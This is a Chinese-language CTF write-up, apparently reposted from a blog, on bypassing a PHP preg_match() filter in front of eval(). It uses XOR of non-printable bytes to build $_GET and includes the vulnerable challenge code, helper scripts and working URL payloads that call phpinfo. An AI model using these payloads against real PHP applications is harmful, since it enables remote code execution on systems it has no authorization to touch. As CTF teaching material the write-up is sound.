CTF中PHP异或绕过preg_match()

0x00:写在前面

suctf的题目和强网杯都遇到这种类型题目了,正好就当做一个笔记来记录一下。

复制代码
<?php
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
复制代码

代码节选~

这里有两个需要绕过地方

1:传入字符长度可以构造$_GET[x]来绕过

2:preg_match可以通过异或来绕过

3:count_chars()>12的重复字符串绕过

0x01:思路

异或在开发中可以用来某些场景代替if判断

复制代码
$a = 1^ 1; //0

$a = 0^ 0; //0

$a = 1^ 0; //1

$a = 0^ 1; //1
复制代码

返回0或者1

首先看这个正则

复制代码
/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i
\xnn 匹配ASCII代码十六进制代码为nn的字符
[x00-x7f] 匹配ASCII值从0-127的字符
0-127表示单字节字符,也就是:数字,英文字符,半角符号,以及某些控制字符。就是说英文字符,数字,一些特殊字符(具体见ascii表)
嗯,反正不是中文(绕过的点)
复制代码

0x02:绕过原理:

复制代码
首先不搞那些花里胡哨的专业名词,可能有点白话,但对我这种菜鸡来说好理解,能拿flag最重要
直接上payload:${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
很熟悉吧~ 很多文章都是这个payload,怎么来的嘞
OK
首先看这个我们需要绕过的条件构造,想着只要在_参数构造出$_GET[x]就好了,但由于preg_match的限制。所以目前最重要的就是绕过他
异或方法:(目前就会一种,但看p牛的文章有好几种来着)
在php中,abc^def,会产生一个新的字符串,比较方式是:a的ascii码和d的ascii码进行二进制异或操作(hh涉及计算机网络基础的知识了),生成新的二进制,然后转换为ascii,进而生成新的异或结果。
所以啊,异或会产生新的字符串,那我们是不是就可以利用四个字符串相互异或来生成_GET
说干就干
复制代码

0x03:说干就干

1:查看当前可以通过正则检测的字符(注意

复制代码
<?php

for($i=0;$i<256;$i++) { if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i',chr($i))) { echo $i;
#echo chr($i); echo(","); } }
复制代码

!,#,$,%,(,),*,+,-,/,:,;,<,>,?,@,\,],^,{,},€这是上面脚本chr($i)跑出来的可用字符中的可视字符。呐!在浏览器中这些字符都是敏感字符,如果不加单引号双引号,浏览器就把他们用起来了(浏览器进行解析,而不是php语言)所以我们要使用不可视的字符来进行异或脚本的基础字典。

异或脚本

复制代码
a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,]
#a是上面的php脚本出来的数据,通过preg_match的字符
_=[]
G=[]
E=[]
T=[] for i in a[27:]:#截取a列表27后面的数据,目的是避开可视字符。我们需要不可视字符来异或 for j in a[27:]: tem=(i^j) if(chr(tem)=="_"): _.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:])) if(chr(tem)=="G"): G.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:])) if (chr(tem) == "E"): temp = [] E.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:])) if (chr(tem)== "T"): T.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:])) print(_) print(G) print(E) print(T)
复制代码

异或结果

 很多,用第一个来试试

?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

 这里补充一段(网上截取)

复制代码
注意1:在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。
注意2:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如${_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']
复制代码

然后{%86)是为了绕过conut_chars()。这个函数是统计一段字符串中重复出现的字符串,题目条件是不能超过12。


0x03:参考
https://www.cnblogs.com/cimuhuashuimu/p/11546422.html
https://www.jianshu.com/p/fbfeeb43ace2
本文转自https://www.cnblogs.com/Tkitn

猜你喜欢

转载自www.cnblogs.com/yesec/p/12344799.html